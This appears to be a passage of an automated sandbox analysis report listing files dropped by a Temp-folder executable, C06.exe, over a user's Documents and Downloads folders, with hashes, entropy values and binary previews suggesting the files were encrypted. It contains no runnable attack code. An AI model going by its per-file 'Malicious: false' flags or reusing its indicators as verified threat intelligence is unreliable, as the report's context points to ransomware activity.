Preview:	VLZDG.......Y.....@.F.Z...(..#.F...W(.+..bc.n.3....JX.:.....@>..`.6...R.V.kW..y.?k....w@.iz..J{...a.....v.%.V.`.X).P.Q..N..O.,t$\j{..ip)Q...n....,'Y...^Ud.."a/...L..,I...@..\|........x"..>.V.v@.W......'..Zk...q.= .........1.........v.V'....5..s.^.5.z.?\|...>n..v..y...HI.......<.w..l.;.a.Z.7Q.........I8R.^.g..7.\.a.HQ..7........A.....Wl....yP'.V..l\|^?....x..Q.a.....M.....w..6..Yr.M.>D\|.~\.gx..'.....&vCZn_...q...PP........q... ....^....,...[..!. E.~B4........\|?..)......]].....Ub3;.X=.u1.u!..Id...k...........,..l....@.n...W..w..M...X...n...[49.5...%Qq.C....~....Fj>~.A.......X.]...'q..u..u.....4.+)..&.....u>9T...J.....P.e.{L..*.....Q~^..F.J.U.......Fc.3..,....q..U..}.$..h.?.....g.>D7j..B7.....(.P.}. .......2t.X.....] +o).u..-~.hv.....%~iX...En.%\|...^..a. 8....z..<oi,elG...../!B..-....,N.j.~...,...?..............u.[Z..D6\|.o..P.Q..Sd...gn..x6u.G..^G.6....Mx...(..+.3./.l....@i.?..z....`.!.......jK.9.F'....6p>.&`....%m]...2.V..O.......t6..........v.\)

C:\Users\user\Documents\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849886715453173
Encrypted:	false
SSDEEP:	24:8KMrciDDJpMa4NAySkeSZmmt0fZOOyH/QRfPkP/R7o3bD:viDUSPSZ9t0oOS/ii57eD
MD5:	A1B6A8601A22FC8EF3757616295F4D15
SHA1:	0A081CA3EE7704A6CACB6008C32AA7CA9075F5ED
SHA-256:	0340F7F631F6CFA9298D056A83FAA1A736060F99AEBEC57286F11F4DC40F1B1E
SHA-512:	B19065C5D3F0A5DB76250B721D14716A72540E79A8448770820273843CEAA6E8A25B62DC50F4E54B949CF220936C74E1C19C99ABF25595C389ED91AE38B968AB
Malicious:	false
Reputation:	unknown
Preview:	XZXHA.{.:....y..,........5.;.h.2Mx..k.4.. .=!.fP..n...(1...a..8..k4.u..)T..%......&T.X...lZ..BQ..E..pc...b@a5.q.q.T.3G.....%a....!V..8G..P..p.....8..M.....qg}....9....=5h.v.[...:.y...-G.....r-.V\|..,..n..!6..!.[...,..3hJ....K.[.-}. (.`....F.e..k>..IsN^.'.....s.....X..'Z.......v>i.L..}........#.:&...I.....i..(....tC...R.;.3..Y@fi.9.x.........=....J:.....(a.4......`.\|V..t....W~.....>b.m..!z...P`..G....0.Bd..7}.......~\|...<.....Xp.e..}._.p..F.f7.O..@.z..'.3; a.\|...M.g....w.:.4Y..Cuu4..4..1z.h.SH..Fw.2&.)4.6..i...~..i/.n.e.I....06.k.S....4t.\|.`.....:.t..1..dv...p...S.i.....G#..9L...>.iv....Q.0..t..\J........J-.F..\...W].......b....fc>..W.8.../@..].UCd........IG..v...#...i.K ...I.Z.e=N.8.I..k..LO\u...%.)T.\|UZ...G...Ni.\q...#....)..J...4#.n.1.}.....TK.'R...dwc..f..v...>...wyS....Tca....e..27....>..K).}.3..I.m.......H3..i4.i.....++0.Xi...-P0u.....M.-Z .ed..!........,.P...6.*.)Q}.$... .)...G...V....c.&..k..-......).V9s.....F...m,..L.sl...

C:\Users\user\Documents\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852827226014907
Encrypted:	false
SSDEEP:	24:RtI27ouA6iUihoagchGOd3z3DJwzBa69U2ES6NjUX1y6TQ/fDdeVJJzvbD:EwA/UIoa5hGOdD1wzp2Tjc15OfByJJfD
MD5:	E08E2C0E7AE5914D1210BB8C3F1479E1
SHA1:	B97050B883273CF2D6376995BF0A512FDCE0C4E0
SHA-256:	54450BFB12F175882089F09EF0F5A95F8025BDE8931CB3517EB883B8B01DC7DA
SHA-512:	D71DF3612B55DB4FC6BC1EB79AC61C31406D6AB24CE5190C81E4D9082638B4FCB5192881E8001B8C454D51458D15ECFF97731EF531870501097F4759B795322D
Malicious:	false
Reputation:	unknown
Preview:	XZXHA.....N.<n...J..<....B.N...(..e.&Z....fU.......X.F.C.._....\...G+-.f.5...)6..S...B.._..Q........#....#...4.X.9.Z.1.....$/...&F].hg..6b.[..3sZfFP..a+V...s..>.eT..s..4.....n.DG>1$u..b..Q.......h...+<"..:?t.Tl..H.U..P.....].6.g.3...O.X.@......u..-a.Y0....!"....L.N...\|....B..cf".ge...[...-U...;.%.. .g^@)..).x....B.....R.%....X..'...;n.<SJ...>.....FI..4.vj...c.>...C..)Q\...>}x...}z.........9.'a.7Z.{..........c...<S}.a..?.Kur.\......~.*..1....DH.k........<..&.p.>..Ne...-.iM.....x`.4.Z.V....v1$l....h7..<0.S.nmi.$.-.C.\|.."..q.&Ou!...-;...HU...N..=e.-.%#.,..Z.L.;{s.Y?=r7..l..L..Q.k..H..zT.h.P.t...4...fr2.{.A.Y.Ft6..).........D..V.d...Zo.;U....}...[.T....y.0.}(.%.E..j.ES.f:/..b.. ....=8;..X.....^.e7.7s....zMF..j.......R..F..i.m..t%.W..m.r.P.V{...k W......OD~vZI.u.Qm.u.+j.....l4..../.........K.;.x..... .).r..JZ.1.w.m.I.r...lx....) Y..F.1!08]:.......k7.3"..]3@e.lI..m..gq. .3p....A.......t/?~\...6..#.3._.....@.@.........a.R.S....5.......

C:\Users\user\Documents\XZXHAVGRAG\DVWHKMNFNN.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855218071762415
Encrypted:	false
SSDEEP:	24:LpB9K5nAG0Iy3jnRNLArMShplZO4JUl+UT1hE+hdoBkOGOot1+S+sYrmuXXgGmgA:Lp6h38znRNUrMuZOIUTTN3oBkO21zYrC
MD5:	6898F996EFC248BEC8C9576F05EB3F4A
SHA1:	DE7A33A4E0A943BCDAAF8CB834385BE1B73E6CB9
SHA-256:	0356C88FA8CB5C930D4C99A6E205FAD42AE37757ADB00FBDFD93AC68CEFABE28
SHA-512:	A8AFBA0502FAD5FDD175EFEBEE2A9F902B3E271A7D85A37CB99E6731158F3185866B74BB4716B83541729F03BD721E37593C86D55C7F2647613C56368AA90C55
Malicious:	false
Reputation:	unknown
Preview:	DVWHK...A.......<.Hd.9..&r.....&wv..Y..p.U...t.....?......p.O....&.E....4.a.....f.{\8.3..&9]~..=...........t.N...g..\|[7...xLU...'..$nT....S>.VI.ogF?......<z.6.S^.L.....d%.5........G>].@2..#L....&I-M.....hr..K`......r...d.YvW.......&..(g....'.3..u(M..`.\..E..A.z..09n.g5r...z3...m6.@..ri..Oc....n9..N.7q.....G.JK./P8....@.ax;...i!"WQC..]..&.[....9.l<.1+.l m.p......ABxzC&\|?... c'..h....,.A.B.k....2r>^H.V..L..,-:..4'_.Ou..?"..x.<.Jx\|...7....].b.;(...)=%...Rp...J ....%b5.!...d....O.......".l...bd...~w..;b.........1.{[J.17$O..n...F..T...5Sh..W.Chl....w..XKe!.7.Z.vWe..k\...H....JA........<...X....".S.......+R.+...T.#..4...{X.xL..(.8....Z-..#......-e.>...7......)h<.pf...f.o.u..@..kojSNi....x.xS.'..t.!.=..u.>....S...N1......2....3}.FmTu.......N.c.....V..IEJ..U..^.kL......R.3Z.Hg.t.j.....D.?.j@,.t...5.W2'2.....c#.........(6..4W.F......_..B........;..U..D]....... ...).N..a.{.i...dL.&.-..Q(e.;...#.7........Y.....@.?Y..,w...c..&.*......}6.

C:\Users\user\Documents\XZXHAVGRAG\KATAXZVCPS.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.874196035490527
Encrypted:	false
SSDEEP:	24:4zvFM7tC29HfPb9+EcM0ZDWwI6vrTw0GLXUdM/tVT/hGmSMhGg7aYP/YimAvbD:4zFMtC29Z+HMEDWreGmMH/hXEg7aY3D
MD5:	6AAAD2890D0E0009BB24830E7AD60B2A
SHA1:	80CFD84245483281977E845648E3BD7DAE8A4200
SHA-256:	9ED643C0FAB5B67252F0DEEB78FD33499545911E7B07DBD083AE4CC56C0CD28D
SHA-512:	3E5B2E18146BE7CD28ADAA400546A8E7892E9345CB98CB9AA3F8B616AE0EA13969E74107B84C9126CC2317F329FB0629662229EF4418B2724B58AAD6571C077D
Malicious:	false
Reputation:	unknown
Preview:	KATAXm"E....l.7q.<..%.,.C.....\|%W`..8.6.'.T.......7...k....Z...w.9.."=.%.G..3.].. .....&Uk....;....&.e@...{......9<....,.US.S'.)FYZ......&....&i.`..Z...L.Q=rN..A>...I~,.>:.W.!D!d0...].jw.-......]..C^....B...Pf.......d6y.:r..'&.'.....d}...4.m.......o.+./.2C...&zUv.{.q Z..eP..$.......8.J.'.J..nr.^......\..h}..7?n...}..t...O....5..4.....1...7-m`..S....{.ap...J..f.).-o.....2...O7n.d..m..}.....g.T.'....3....N.w.'....9C...b...6%.k&...qs.w.> ..UL....Ei.....,...GR.~U./N..W.@P.;D.6......Rcd.....F..a..7.....-..D.Kn.t..T$?gK...S........l.8.ki..Z.0;^.M.[.:.W.........LF....0.......D...6..%..5jB.:.......).1.9.........ad.o.{xf..{.....:..l.("....[$T..\6..V.(z....t6m.$=`.}..V....T(..........u..S..g..Y..[.&$...!.u....K....'CPy.R..A.u..]hU=..I_F....X...f.s..+.......T s.Q...Z[.c1!F.y.......A.,.[.".D....b.....(..,f...ek..6z...G...}i.....0....}..P."...........5...z.2n##..\|).nD*.b\B...6.I..R.O][...../a...4Y.Z..\..\|..zLyt/_....nt.8{...u..

C:\Users\user\Documents\XZXHAVGRAG\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854968033466342
Encrypted:	false
SSDEEP:	24:0o5zUWDOAaOJWf88sbSwjELutpB/kOLjJ2R600T6tizIeNdbbD:0o5QqeCStL8eOPZ0G6tizxBD
MD5:	15EAF02089C07D05B611C3DE51680702
SHA1:	A140FD28DE9CABD783DA6AB7B87871C6BB89C074
SHA-256:	367A18F1B1DC8FC70723C505B8F7FEC3B26ED3D8A6DF5361C2C3C3CB35A5E97F
SHA-512:	2C6CE03EB58A1C8F05061BCF1594849652483F1010ABA0C02A702D9D14A1D7845E1B7DAFACC3F7DF4B03F52A49DF25C58C549EC1EF4821EC5DA78A4265DDA8F7
Malicious:	false
Reputation:	unknown
Preview:	NWTVC./,w<.._....T.+u?....~_....=..).k...1.m..%..u.F.ua..#..xJ..r ...@H..1.)..^.mC.>s\....F..U..h+w.i...AMbm.oGS....X.....2."......"Z]r.Z.....W.y..2.e..H..(.$....a.DF.o_.i.a.......qB...U..[..;.-FD.7..Z.......l..:~.^rQ....v!i...>.H.OwC\=..`?..).y..>.J.CO......g.qH.2...b.i.._u....VD..s.....Q...!....r...U.JN..w.J.E"..&h.B4vI.O#...3f....:41...S..K..Z.\.i.E...U.....'F.....@}?.vER.......h..%g./..F.~..>...L.@...#..-..-U..'$..4...#..z#&f...S...JZ...Cl......dB...G.......yn"....R.Xk=.?)pC<Dh">0.D.B....m"...y_.&....8..v....... .J.l..O...:...I\|W.^W..~.</...7......q{..(e.(...w*.R.Q....BU.8./;..g.1Vj.5L.v........{z.k4....t.\..m&..^l..N..M...9av<...k=:uc._.q.......w..bT-..+.^.]<@Z..d.3..\|...b.aM....].>H....a.3.\....+.ao..z.Oz...Q\|....{.U.R-Rl.]..7.>..-..$.6...H.%......".H..kZ..m$r...:....h.c.(n..9v3!...Vc........u.....f.............0..m..:`.,.(....2....mC..KN..].-.(..j.(.......O..]...V)...t3...CE.m.....J.\..j...m...M....g.Sllw..>...7..Mv.z.ak.}4...Lr.e...

C:\Users\user\Documents\XZXHAVGRAG\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844750837119294
Encrypted:	false
SSDEEP:	24:QlZ5voTuaKWrzg+UMC/LOWMVjtAaXj36tUUdGN3yAII4ITdwWBMGVvZwbD:QlZ5vKKIgHjOtRNjOINiAqIe26D
MD5:	90F980FA485EBF5B4927C5D00A05787B
SHA1:	9F8056E2B7D57A85083EFB29D85A16A5268DC9F5
SHA-256:	DF67DFBDB76A3F3DCF4270B7DACE9A6593733F274D50873DFE815601638194A2
SHA-512:	4E840F81753D537D5683CC277F86F5D929E6B60508253521742F94946EE38C7458EE8ABB646F39EEDC0F89E317F2AA818DDAF463D8567C102950FE97898620C0
Malicious:	false
Reputation:	unknown
Preview:	VLZDG.+...........cv%.R........l..\..n}..dR!.h.:..I.&.]A^.d.R.Kx...0..I....M.G.^..)..=.q.:..Z..C.Z.j"...[V.Q.<=+."-.......0..Us....7.j..P.}.o..T.'!}.u...d4.eu..tG..P.^d..P..W..a...+.:G92<`6..SU.......]5.QFC......0.+@f_.@..Qi.0.....g+.T...jV...I...h.W..........1..X.\....u..%4..Ps .......\|}]M.E.}uc4._..K...c..,ME...I.2._.3 .......5.J. ~3.H...kE...6...Z.\_..{...G....`.:q...`......GY..t.......v.43...i...w...p..q...T2.......{...y.X'....sK.y.9Y.......P...Y2.pD..o...#.. #..6U......W..D ...\|...6...P......l.6.X.P...G...Y...r....Kr....S.C.........../2..5.l+..q.=2..u.&N..!h..xo%.K.}n)....RY...,.....)$....F`M..q...q.A..."Y..w@!.......gNP.%M...c...v.lt.m..37@2.Mi.'.xu'........q.1....JbQi.n.9@.O.N..l..S...F....T.......L{..mL..\|7Fs.V/.N.F......!I....K.nc..*..!.n=.u....f..#m ...uk.m%y!.ym.. ...C..2..e=0.(..h...k.I./.ST...8.!...z.N.-6...]......c.{......ec..U<[...?.g.6.?...\|.9_`.S..?...`..?.T }.)"S.?..4......NVH.Q........E.."..@......{.`!2.B.ZkTj.

C:\Users\user\Documents\XZXHAVGRAG\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857993766642796
Encrypted:	false
SSDEEP:	24:7jrLIE1DyOY9Goi53UsKDAlkjGf6DKy/xEuZ0QQANuJLzeKsyIOXLwZhbD:7jrsEhS9GRWElkayT1mQQAszeKsVOXLu
MD5:	22CE30368C7390740B111326D8F43A07
SHA1:	661725C6FF63F792C421210A8D01350DC5E99B1B
SHA-256:	91192D468BD2C03DD0D928A5670272AD29577393B85D5614141EC381E508188B
SHA-512:	0282C7171365B75E9B7D7B2D2FA572AC350F6F4CF726BA6DA2CC29FA8129D29BA713F7F3334EA850ACB16C89CD4A894225510AB3907D421AA6BBBCE87B583DA3
Malicious:	false
Reputation:	unknown
Preview:	XZXHA..,-.>..&$...ND<K4].j.\|;W..Q.,.D.3ki.o.6.........g3@Klw.Y...s.Q.......^.E.M..tCp....W<......7..........x4..f.S~..a..=.wc.R@.Dr.yISB....=...o'.z.?...<...k.....V....N.).0.....!...2K&e..l.4.b."...........ekO.....1..b.s..\|u.t}...^.........."$.....F.[..........).V{r.M.....Z".S[q.2._.[..g...e8]cH...S..d.pG.LZ...0.!9p..Y.Y.)O.y.F..U.y....@.?....YP.x..`...b!osj...v)x....'...znj=..U...Sd......'.l..S....w6.....H...f.7..E...-..bz.I+..!.Zd$.J1t..Fm......z..RV.............f7q?.&.\|I.Z.w.._.0......N{~..a..V.#..o...\|.9..!.;kd.F.~.c.z.A.$o]}4....)j@.M.:4.......l.._.@..N....>.F.....m3..".3..+..TAl..N.... -.6....KUa......\|.k.Z..0U.........."..'........(?........0Hl...vp"/K..g3..z.."!:....7.e.HF......k._HZ...R...n.%.......O.._L5TD....E......2...i..r.$..^.L....P...S_L-.bs{rX..a...:X.\.. ..:.dl...&..\.....9....`..3X9...Z...U.sL.z..-,fY?...@.........n.!{R..4..Wq.F].9q::\f6AK9 *u.D.....Hn=.....1>.h2..h.G.OV.x.G.W#z.\T.........KZ.....^.M5$...P..n.9..>...K..

C:\Users\user\Documents\XZXHAVGRAG\YPSIACHYXW.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859400707607719
Encrypted:	false
SSDEEP:	24:N6jfNnZfzkJ27p7unBOEuONzph9F9TjohgyYRb13Z1nK2iavAu7TZJfabdbD:gj1ZfzT7wBFuONnZTjohHYvFiKAaVJfK
MD5:	C45E281E7B1028228BD83F70BC58E522
SHA1:	72EACBB0EA1DF63FBB9C946C00DBA43BD368B2EA
SHA-256:	FE79BB0B4BFFD85FC1531060BEA23CFB1C1C855B19DAE548EC86E2A867092D83
SHA-512:	6B165A5B08A2EA6950FF8054842BAF6B42CBEAA2EF4CB128772DCE5E80724294E7888497EC1A3D4C912A63099FC1C55619B8AC040888A7344F5926838C5246E5
Malicious:	false
Reputation:	unknown
Preview:	YPSIA...,..X_a....QA.OD...D.M`. ..+..\|...1k8..Z&....M..HCL..._....../\|.:......i...).yk.D......l}..q.../yN.].M...j(...'....v.agW.........q.&...4.0k.&.4..`..c.1t7..K$.._...KOq.~>..bXHAT^2!o..!\|t.....v.#....gs2.GV].H....=v.D.6......6..L.1D...V...5..s.....>...# ..l...... .[.F.H.>......._..d...&.n...j0.P.....R...=:.....j@..{/.K..........p.'.w1..`.g.>N..Y.Y..;.L..{U\.Rg.Yd..K\/..8.... Y}/...S..5 :.%=......}i^.....7.......1.j.T%..V..N.j....0.s.L?Wz.T6..r^I..S+..>......>{,/.........F'.5......'.xQ?F.qP..0.,+...8a..Ot.~%.(.0.{...m.[..........V4...'2..P..g].....u..C....E.`..=..`.k..._;..s..x>.t-+%...N?n..S...F2...8...86../h......w..d).........%.....R.g....e..$!...(:.C.Y.V...F.Ans......\|B;f....p...a.T........Tf..A.T.y.&...h.c......TD.....\|..".K,...oQ.Eg...o.......\<x...U..xr......=..i.oT.......^b.x....8I.Y....(/.4<.V.........W.$.6......#..b;u.g.d@..(....Z.~.X...V.Q\|.x.H<R(...u#../@..zw...N.i...sf..p.....+.7....p.i..2.T..S.....W...7.".:.

C:\Users\user\Documents\YPSIACHYXW.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852042528079529
Encrypted:	false
SSDEEP:	24:vPbISGEI0w6KgLQiI8lO5cqqCUsXaDg3ZyfSQmzqjDoSmVYx7Dq6QI61wijVOxbD:vPFGEI768ij85cqFaEJyfNEq/bq6Bsj2
MD5:	94D8C86200A0EF0A7E98FD646BA7FA01
SHA1:	BA82B78487ABDD92596D198D993B233650977D18
SHA-256:	1EBD887E3374EF2CD10508A042E27A5B77C19CC74E464865659C5534EAA10FA6
SHA-512:	EE82DFE721167A7B4D8144838ED06E6792D5D3E6EA7EB8954A6E163C4D24E485B7B87522144AFC342BA683F8A13AA9B6CC5725590D1F8C89BD6A44D5E5842918
Malicious:	false
Reputation:	unknown
Preview:	YPSIA^'.."&.&..@9..7..\|V5.'v.H..i.=e....i./.....E.X.\..>......=.:8o.7..........3..P...=..2....d."....f....>.......Q.D...`......`e..O...n..\`x.[.....t-..,....:...&......V;.......(h......!y.Q.f2\......;,$...kQ.6Q...v.0...3!.s.lw.{.<C....Jk.....wcPHb...hs.rB.K.(.^..].(...r~..Mv.].g~T..3..w....=.~Sx.rj\|....2$.V/...t...N#V...n.Y......g@>..3..9Z.^.I.81. .94..K_\|.Q.&.....v.m....G`<...w.4.H.7Wf.a.....g....:~.J.{Y...I....u?.g4).@..hO0.;]L...'...+.V.vN.....M6..4.].}'..+...S>..j..4.K.c.u..]0M........'#..O.5......=.OM.QN..".....:.S7.($..0h...7.&.....{.qu.Y...O.....:.._....^...=..jm.YRt....5....<.....t.H.+.k.19r.{..\|....@...}Z...U6.:z...G..P..D7...T.+.g...0H....dF./...g..(...e...Lcd_...)C^0..G....;.{+...8s...s.....\{...:_fBO....f.u....z..JCNM3u..P.y&.H"..%q....O......p...)f\|<T6.....f....+.Q?....-..7.s.=..s'....4....,.!..).>2.......KU..K.w..X...>..j.......2)p.KBq..\|..y...x..>.\......L...$L.m....@..[....J..1.V'...7..R}.V.....:..T;.H....tg..\g.

C:\Users\user\Documents\YPSIACHYXW.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8546418397395685
Encrypted:	false
SSDEEP:	24:obF0+6mk70F+GXF8G93COHc+8hjC0kfQttTcyOcSBUfnVD5rNFvbD:onyASG93COj800k8tT67yfnVDVNxD
MD5:	E6A1AA24ABA6FC8EBF100964B3E75929
SHA1:	9C884D4EB2C002E2450543DB0F894FDE2401C3C5
SHA-256:	BF67D39EC5B263C7422A61A6FCB9A4694E62AA160BFCA5EED2D7443A7604CEFC
SHA-512:	ED0987A59A8CB54BDDF82D73E11CDDAD6974F6186C41E1CA94334ED0D936C1EFDD7CB09CB14AABF62D54C4D8A8C8B86CAB34DC375ACA7F57D7FA6051A3BAA5E3
Malicious:	false
Reputation:	unknown
Preview:	YPSIA.......w.LO...{I...+8N.b...w..V...!......8U..>.I.d...B.'..z.\|.+.....Hv.t.)...........w..u..\.....0..3.C.......;a...n.....>.1q....19?..k..HC..ck....u.R..VF..%s...o..Ih?.../Mz.C...t~../...yE........J.(....R..`.2........@3#hp`...p..`.#/e.....b.,m.....S.3...[...O;..R...."tNmT...y.lh}..2.l....c.........48"...h.E0..<....g.......>....r.....dG0"....k..Y... 2..X. ..A.l..<OX=....r6..2..PG.u..4../.'.?...hI.9...$...c`.n#7.A.......JZT....).3\|..N.\|3.5.x..rcC...!".3...Ba......BYyV.3.d...2.nn....B.T...../9.\....T....-3....#..@.wW.g....... ....`.........q..>.....".!3...D..1..H.]..f......EQ.m[S.B...K....r...uT.y..i..[d....8.......\|..Tl).[.....>H,.Y.@....0..\|..L........Qv..<....~.E...9........e....X.67.W..x...j..7...w.w..%o..s......f.e..ej.%.5A.......H....F 3.\1E..<.(.Q.LW.m......L@J...[.V>...F.:.g...B.)G.U>=5..S...I..Z;<.x......G...l~"yXV-.AO.?...x....<BW9...x.G...O ..Z`p.......Pq ....^.D....h..?{.I.x.f.....fs..".r..V........{b...L..8.0....

C:\Users\user\Documents\ZBEDCJPBEY.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8540732465245355
Encrypted:	false
SSDEEP:	24:2yxs7UqtCzgK1jN0CBmUkBzldI3TVbjDFmkxH2aLBhxdLIXbD:pSUqRK1mp/IxPF12a99LcD
MD5:	AF04E1218017C0C35BE39F52B841B6CA
SHA1:	8AC963F3FAA4612BA57BDCE6D5FCC4AFFAF7916C
SHA-256:	8B6BD053B909BFCBAE96A7289D9734AF10A19E2F8DDF4EE22F9D47B19BBEA088
SHA-512:	F591DEE53CF2A4910CCC93BC1F27171FA47DFFF982FCFA862343D7CBC9175D0DEAE89B7686E31B0044D5DBB8C50247D4A12DA7DBEE8F3EFEBA7781EFFBAD4534
Malicious:	false
Reputation:	unknown
Preview:	ZBEDC...... ....q...j.#u"r.QDH.'fB.....245..P.......:x.w./..].....m.7.F...];...vy.V.........B......K..U..^vu.L.W...~.I.h..P.~.h\|...>K..t.8&6.9....x..)S..r...Y....`.n.XWz...........IE...=...^... \...,..z}.z.......h.g.........e..........g..O...ES..oJW.!y..c.....BE<.g..i.m.N......:.....D.J......i..!,k...$..g..%.R4t..?.S b.w.............H...A...4m,d..@.{.%..nL........j..c./.j....8...2.8...B.xu1.>...........?...G.w...W .,.(..k......T.......8.;.(....HG.W..`4.c..L....0+5fs.]'`..~M:.x^.....t.......{HhL.. !HZ._...U3....4..P.t..&.%...r....l.w..G9....G.......zV./..#..}.Cn....S..o......Yy..._.!>...& .g..!....!.O8.o!...Y.....~..aP.b.Z..Q.x....,z1."..p. ...........6.X_...h...s...I..@....&...M.[b.......V.M......n...-.X.....C}.%.H..J.V.1....o.r...s...;.Y..q3....l....W....n.`..:r..=Lg..............2\.N...Hi(....%R....a...1.Z..... bU...um.3.N.l].W......'^....1.4.......g.%.O....}..k.i....N;Kn..RR....B*./iqn.\.b.!..'.6.tn0.m..T.........p.`aR...."\&

C:\Users\user\Downloads\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851725578521058
Encrypted:	false
SSDEEP:	24:lohi5/UZwnSV8KgbXew8AsQJUXJoxnetEOdeXznfs6fuuJGmgLe7Jy/N8tbJuBmX:lo0/UZwnbKgrsQXOdM7fvfd8dmyN8vD
MD5:	A5E1D72B0E6D609581CEF9ABB02F8A36
SHA1:	BA12C4BAF2C58349D1857277A9DF1D1D3371F116
SHA-256:	DFE55ABE01184E8D159243CB64AFC0636C62DDD85F07F5C03B4DD3BB577E52C8
SHA-512:	55DA1CC4430AD3191E315800E440B36658D23849825D03A4CC58009D81FCD849C65986748E4CAC981C1384D1F708F195830147BBFDF8F1C7F1CDB82771B3C513
Malicious:	false
Reputation:	unknown
Preview:	DTBZG...D.h........o.Lv.Na..:..-...].......s(M7m/ttp.9..\|..^..(..wG ...C6..B..Z9./.qj;..&wQ..........h.P..y..$U../Cc.Pp.`.M...3...&.F....../S$.Z..#V.<..W.]'.4.9/..D6b]Gx.......7.>.$.h"..-...(d....k9....#..}.p......W.._tv'@!.=...?m....t..z...&Ood.p...-wSL....r...f`wQL.{d.....hGS..6m..a.Ka...?......<C.....$v..WI......6..jL...o.jqhxm..F..I..C.9)Q.!...q.c..y..9s....:.V..#.H..........11.)+...r.."gGr.....1.?..d_#...(5k....s.Z<H..9.Q..t.Q.....o@I.5....\.4.r.W.6....?..u.@.X..`.......a.J..j.[.....hy.....;D...n.Flg..^...&.....<L...3..dA...O.W\!.>.I.5l.....@...N.e:..3}.L..3.t.......I..E^...e.P.(w.9_../...t..D=c.~d..m.....}Q..ce.<Y>PF(.L.........5.....3...\`..O,%.1..xJa.FQ`.Gd;.....E\Z..;..4S..o7...#.n..x....k...!...Q...R.....a..I...pN..N....F....I.f.e.6....[Y.v:....r;S;.=.g..5....sTyAW..Y.T.\|..`%..7.N....H..LO.\|....jG.l.^.S5k~Z...E...J....5h=.+...cr&4..4...xS..!.Q7.(.<...Y..L..m..8..\|x..h..>.s....O..w...Q..........=..Oj.....^.^.hb.f.f.+U".Y.H..o

C:\Users\user\Downloads\DVWHKMNFNN.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843545062137779
Encrypted:	false
SSDEEP:	24:ZhNjZdzkljPLffiDB4jXjM2SEVZqip775GyDya64AOi0BNEQVjzO8R8sbD:ZhN0l3fdkfEHqdfO2+EQF7ymD
MD5:	CC8A7C079EE0A18AD298CD20E969AF3F
SHA1:	532C21B8E3AFF42B1AEE30303CC72F2BFBBDB8EB
SHA-256:	7D20DCCF4E36F3B3B2710043F81AE3D68E1638C6B9BF7E8B3ECBE94AC62CFB29
SHA-512:	E07E901E009D838DDDD1E36E6AF7506F3367DB6866185A98ADF9B21DE52DF0EED37176F89B9FB51B3DDEC0EA1D682D7346C8FBA50BEA77D8C1D81944959DE9B8
Malicious:	false
Reputation:	unknown
Preview:	DVWHK..U......L. Ofe.\.........91f.c..2.a.@d.2.'.O......I.K.,'..N...SsIj.=.....O..vJF.. b...[...W..Wp..C5]......;..0?.H98r..IY...G.k.{j...-..CJW.7.-....kHF../...c..'Yu..i.8.Y....YW.w.+.4.$0.b...B..=...TcO..H..h........ZW.n..l#.Et^.o..BG>.f...F.@.....#M/....9.8$\x......AA0#..d.E.......^w..[>iv..1F......]...a.`S..J.Ad..xN@&.......nq.XK..y.(2.G.n..#....it..6KF....N...(..2..l.....4.H?..^.@(.\|..b.7.;r...F&.l...".2...6?..K6...Ab...ZD..q..U.7zV...B.....4..H......../.....B..9).,.H%...d..z9r[.M.s.D.Vt........l9.J .Xc..HQH.O.l....y.wu$....{{.r......m..B.eM.(&d....g..!(/..[....[%>k......?....b....~:.$. [D.....H..E...k.F..5]=a-..1...TyI.k.......Z.6..h.n...T...Ra.\ME....k..F[..@...dFK<.yQb0...}2G[.v..ZU8K..hL...r...\.xdWp,...m..p..j-5z..~...1....../".A.i<.. ....:Spa&...%.K]Wa...9g&.{.F...}.n(...j..e ..v..u$..H.l.qn..b.%-.YcOe.....x.=.].d..g..7...x6.........S........@o'.>..TE..fK.8..n...R.u.......GP......d...8.$,W.Y..y.!......G.ap..t........g..\....A

C:\Users\user\Downloads\FENIVHOIKN.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.877919621160941
Encrypted:	false
SSDEEP:	24:/r7d5uWeDADLk7sWswsSqCf2E29QW2/EelyAEDBp4cQWYGVLDXhTjI2yyy4PbD:/vdAWednwJ9D2cemgqVLTBvyL6D
MD5:	D2C43DDDCB7845AA06AA646801C0D5CE
SHA1:	53984E206720C81A2AD2DC8BDCEAA1DA3E02E06D
SHA-256:	7AF830F75219FA6B6B64BFCCC7B1B46CE47A0B27DF6965A4FFBCA3D684860B1A
SHA-512:	495682CC7ACF47CDDCA5B2567BE8E1024E006295A043290792F2230F209ADC2F7D641B5CC68F58BBF454165F707E64A2F49474FD814B68EA97BFDE38615AF62E
